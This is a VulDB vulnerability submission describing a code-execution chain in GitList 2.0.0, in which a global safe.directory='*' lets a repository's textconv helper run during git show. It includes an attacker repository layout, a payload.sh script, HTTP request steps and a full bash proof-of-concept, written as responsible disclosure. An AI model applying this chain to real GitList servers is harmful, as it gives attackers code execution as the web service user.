提出 #893866: klaussilveira gitlist 2.0.0 Configuration情報

タイトルklaussilveira gitlist 2.0.0 Configuration
説明## Summary GitList can be forced to globally trust all Git repositories by writing `safe.directory='*'` when it encounters Git's dubious ownership protection. After that, later `git show` operations run against attacker-controlled repositories with repository-local Git behavior fully trusted. This enables execution of a repository-controlled external helper such as `diff.<driver>.textconv`, resulting in server-side code execution as the web service user. ## Root Cause In [src/SCM/System/Git/CommandLine.php](src/SCM/System/Git/CommandLine.php:79), GitList handles a dubious ownership error by running: ```php $this->run(['config', '--global', '--add', 'safe.directory', '*']); ``` This disables Git's ownership boundary for all repositories handled by that service account. Later, GitList renders attacker-controlled repository content with `git show`, for example in [src/SCM/System/Git/CommandLine.php](src/SCM/System/Git/CommandLine.php:175): ```php $output = $this->run(['show', '--ignore-blank-lines', '-w', '-b', '--cc', self::DEFAULT_COMMIT_FORMAT, $hash], $repository); ``` Once the repository is trusted, Git honors repository-local config and attributes, including external diff/textconv helpers shipped inside the repository working tree. This issue is a short exploit chain: - Vulnerability A: `safe.directory='*'` globally bypasses Git's repository ownership trust boundary. - Gadget B: `git show` does not disable `textconv`, so repository-controlled helpers remain reachable. - Chain result: `A -> B -> code execution` ## Trigger Flow The attacker prepares a repository like this: ```text evil/ ├── .gitattributes ├── demo.poc ├── payload.sh └── .git/config ``` Required file contents: `.gitattributes` ```text *.poc diff=poc ``` `.git/config` ```ini [diff "poc"] textconv = ./payload.sh ``` `payload.sh` ```bash #!/usr/bin/env bash echo "executed-by=$(id -un)" > /tmp/gitlist-rce-marker echo "pwd=$(pwd)" >> /tmp/gitlist-rce-marker echo "args=$*" >> /tmp/gitlist-rce-marker cat "$1" ``` `demo.poc` ```text Any content is fine, as long as the file is committed and later changed in another commit so that `git show` reaches the diff/textconv path. ``` ### Reproduction Steps 1. Place the attacker-controlled repository under a directory scanned by GitList. Purpose: make GitList index the repository and expose it through normal public routes. 2. Ensure Git sees the repository as foreign-owned relative to the GitList service account. Purpose: force GitList into the dubious ownership error handler that writes `safe.directory='*'`. 3. Visit: ```text GET / ``` Purpose: the repository list template resolves `repository.defaultBranch` for each repository, which reaches `getDefaultBranch()` and triggers the fallback code that runs: ```php $this->run(['config', '--global', '--add', 'safe.directory', '*']); ``` 4. Visit: ```text GET /evil/commit/<attacker_commit_hash> ``` Purpose: this reaches the commit rendering path, which executes: ```bash git show --ignore-blank-lines -w -b --cc --pretty=format:... <hash> ``` against the attacker-controlled repository. 5. During that `git show`, Git now trusts the repository-local diff/textconv configuration and executes `./payload.sh`. Result: attacker-controlled code runs as the GitList web service user. ### Example URLs Assuming the repository is named `evil` and the attacker wants to render commit `9600d65429930de1cdb5bc85198eedceab4cbef9`: ```text GET http://<host>/ GET http://<host>/evil/commit/9600d65429930de1cdb5bc85198eedceab4cbef9 ``` The first request establishes wildcard trust. The second request triggers code execution. ## PoC Minimal local PoC reproducing the same trust-boundary failure and helper execution pattern: ```bash #!/usr/bin/env bash set -euo pipefail tmpdir="$(mktemp -d /tmp/gitlist-safe-dir-poc.XXXXXX)" home_dir="$tmpdir/home" repo_dir="$tmpdir/repo" marker="$tmpdir/pwned.txt" mkdir -p "$home_dir" "$repo_dir" git -C "$repo_dir" init >/dev/null git -C "$repo_dir" config user.name tester git -C "$repo_dir" config user.email [email protected] cat > "$repo_dir/payload.sh" <<'EOF' #!/usr/bin/env bash echo repo-payload-ran > "$MARKER_FILE" cat "$1" EOF chmod +x "$repo_dir/payload.sh" git -C "$repo_dir" config diff.poc.textconv ./payload.sh cat > "$repo_dir/.gitattributes" <<'EOF' *.poc diff=poc EOF cat > "$repo_dir/demo.poc" <<'EOF' first EOF git -C "$repo_dir" add .gitattributes demo.poc payload.sh git -C "$repo_dir" commit -m init >/dev/null cat > "$repo_dir/demo.poc" <<'EOF' second EOF git -C "$repo_dir" add demo.poc git -C "$repo_dir" commit -m second >/dev/null env HOME="$home_dir" GIT_CONFIG_NOSYSTEM=1 git config --global --add safe.directory '*' MARKER_FILE="$marker" env HOME="$home_dir" GIT_CONFIG_NOSYSTEM=1 GIT_TEST_ASSUME_DIFFERENT_OWNER=1 \ git -C "$repo_dir" show --ignore-blank-lines -w -b --cc --pretty=format:test HEAD >/dev/null test -f "$marker" && echo "[+] helper executed: $marker" ```
ソース⚠️ https://github.com/klaussilveira/gitlist/issues/947
ユーザー
 iswangxy (UID 99909)
送信2026年07月17日 09:23 (1 月 ago)
モデレーション2026年08月30日 16:57 (1 month later)
ステータス承諾済み
VulDBエントリ397167 [klaussilveira GitList 2.0.0 Git Command Line CommandLine.php getDefaultBranch 特権昇格]
ポイント20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!